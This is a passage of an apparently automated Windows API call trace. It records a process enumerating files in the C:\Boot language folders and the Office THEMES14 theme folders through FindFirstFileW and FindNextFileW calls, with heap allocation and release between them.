ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0039.563] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.563] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.563] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.563] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.563] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.564] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0039.564] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.564] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.564] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.564] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.564] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.564] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.564] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0039.565] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.565] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.565] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.565] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.565] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.565] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.565] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0039.565] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.565] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.565] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.565] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.566] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.566] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.566] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0039.566] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.566] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.566] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.566] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.566] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.566] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.567] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0039.567] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.567] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.567] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.567] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.567] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.567] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.567] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0039.567] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.567] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.568] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.568] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0039.568] FindClose (in: hFindFile=0x692d80 | out: hFindFile=0x692d80) returned 1 [0039.568] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0039.568] FindNextFileW (in: hFindFile=0x691d38, lpFindFileData=0x394fa84 | out: lpFindFileData=0x394fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0039.568] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x36b0738 [0039.568] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*", lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x692d80 [0039.971] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0039.971] FindNextFileW (in: hFindFile=0x692d80, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0041.426] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0041.426] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0041.426] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0041.426] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0041.426] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.426] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0041.426] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0041.426] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0041.426] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0041.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0041.427] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.427] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0041.427] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0041.427] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0041.427] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0041.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0041.428] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, 